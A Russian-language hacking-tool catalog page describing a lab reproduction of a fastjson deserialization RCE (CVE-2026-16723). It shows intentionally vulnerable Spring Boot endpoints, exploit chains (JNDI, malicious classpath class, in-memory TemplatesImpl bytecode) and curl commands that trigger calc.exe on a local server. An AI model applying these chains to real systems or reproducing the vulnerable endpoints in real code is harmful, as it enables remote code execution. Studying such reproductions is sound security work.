Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
fastjson-cve — Репродукционный проект для CVE-2026-16723, критической RCE-уязвимости в fastjson 1.2.68-1.2.83. Демонстрирует обход AutoType, JNDI-инъекцию и payload-нагрузки TemplatesImpl в памяти с уязвимыми конечными точками Spring Boot. | Kitploit
Инструменты/GitHubGitHub/ipisav/fastjson-cve
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и Образование
GitHubipisav/fastjson-cve

fastjson-cve

Репродукционный проект для CVE-2026-16723, критической RCE-уязвимости в fastjson 1.2.68-1.2.83. Демонстрирует обход AutoType, JNDI-инъекцию и payload-нагрузки TemplatesImpl в памяти с уязвимыми конечными точками Spring Boot.

Репозиторий
291 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Проект воспроизведения CVE-2026-16723

Обзор

Этот проект воспроизводит CVE-2026-16723 — критическую уязвимость удалённого выполнения кода (RCE) в fastjson 1.2.68 – 1.2.83. Уязвимость позволяет выполнить RCE при конфигурации по умолчанию без необходимости включения AutoType или наличия готовых гаджетов в classpath.

СвойствоЗначение
ID CVECVE-2026-16723
Компонентfastjson
Затронутые версии1.2.68 – 1.2.83
Исправленные версии1.2.84+, 2.0.0+
Тип уязвимостиДесериализация / RCE
СерьёзностьCVSS 3.1: 9.0 (КРИТИЧЕСКАЯ)
Вектор атакиСеть
СложностьНизкая
Требуемые привилегииНет
Взаимодействие с пользователемНет

Структура проекта

fastjson-cve-2026-16723/
├── pom.xml                              # Основной проект (приложение Spring Boot с уязвимым fastjson)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Точка входа Spring Boot
│   └── controller/
│       └── VulnerableController.java    # Уязвимые REST-эндпоинты
├── malicious/                           # Отдельный модуль: вредоносный JAR для симуляции атаки на цепочку поставок
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Вредоносный класс со статическим инициализатором
│       ├── EvilTranslet.java            # Вредоносный translet для режима TemplatesImpl в памяти
│       └── GenTemplatesPayload.java     # Генерирует JSON-полезную нагрузку TemplatesImpl
├── templates-payload.json               # Сгенерированная полезная нагрузка TemplatesImpl (прямой вариант)
├── templates-payload-preload.json       # Сгенерированная полезная нагрузка TemplatesImpl (вариант с предзагрузкой класса)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Детали уязвимости

Корневая причина

fastjson 1.2.68–1.2.83 содержит обход механизма защиты AutoType. Даже при конфигурации по умолчанию (autoTypeSupport=false) злоумышленники могут создавать экземпляры произвольных классов с помощью специально сформированных JSON-полезных нагрузок, используя такие цепочки эксплойтов, как:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI-инъекция)
  2. java.lang.Runtime (непосредственное выполнение команд)
  3. Атака на цепочку поставок через вредоносный JAR в classpath (@type: exploit.MaliciousClass)

Уязвимый код

VulnerableController.java — два эндпоинта демонстрируют проблему:

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Уязвимо: JSON.parseObject с конфигурацией по умолчанию
    // ParserConfig.getGlobalInstance().setAutoTypeSupport(true) не требуется!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Принудительная десериализация в Object — запускает фактическое создание экземпляра класса
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Сборка проекта

Предварительные требования

  • Java 8+
  • Maven 3.6+

Команды сборки

# Сборка основного приложения
mvn clean package -DskipTests

# Сборка вредоносного JAR (отдельный модуль)
cd malicious && mvn clean package && cd ..

Артефакты сборки

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — исполняемый JAR Spring Boot
  • malicious/target/malicious-jar-1.0.jar — вредоносный JAR с exploit.MaliciousClass

Запуск приложения

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Сервер запускается на http://localhost:8080

Требование к среде выполнения: этот проект рассчитан на Java 8, и режим TemplatesImpl в памяти проверен на JDK 8. На JDK 9+ модульная система блокирует рефлексивный доступ к внутренностям java.xml, поэтому цепочка завершается ошибкой Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, если не добавить флаги --add-opens:

java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Проверка наличия вредоносного JAR в classpath

Основной pom.xml объявляет вредоносный JAR как зависимость, поэтому он включается в исполняемый JAR:

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Проверка во время выполнения:

curl http://localhost:8080/api/debug

Тестирование уязвимости

Проверка работоспособности

curl http://localhost:8080/api/test

Ожидаемый результат: CVE-2026-16723 Reproduction Endpoint Ready...


Атака на цепочку поставок (вредоносный класс в classpath)

Модуль malicious предоставляет exploit.MaliciousClass со статическим инициализатором, который выполняет calc.exe при загрузке класса.

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Результат:

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

И на сервере запускается calc.exe.

Примечание: это демонстрирует сценарий атаки на цепочку поставок, когда вредоносная зависимость присутствует в classpath. Уязвимость позволяет создавать экземпляры любого класса из classpath, а не только классов JDK.


Режим байт-кода в памяти (TemplatesImpl, внешний сервер не требуется)

В отличие от режима цепочки поставок (требующего вредоносный класс в classpath) и режима JNDI (требующего LDAP/RMI-сервер), этот режим встраивает вредоносный байт-код непосредственно в полезную нагрузку и загружает его из памяти через com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — ничего дополнительно разворачивать не нужно.

Шаг 1 — генерация полезной нагрузки:

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Это компилирует exploit.EvilTranslet (подкласс AbstractTranslet, чей статический инициализатор запускает calc.exe), кодирует его байты .class в base64 и записывает:

  • templates-payload.json — прямой вариант ("@type": "TemplatesImpl")
  • templates-payload-preload.json — вариант с предзагрузкой java.lang.Class

Шаг 2 — отправка полезной нагрузки:

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Результат:

>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

И на сервере запускается calc.exe.

Скачать инструмент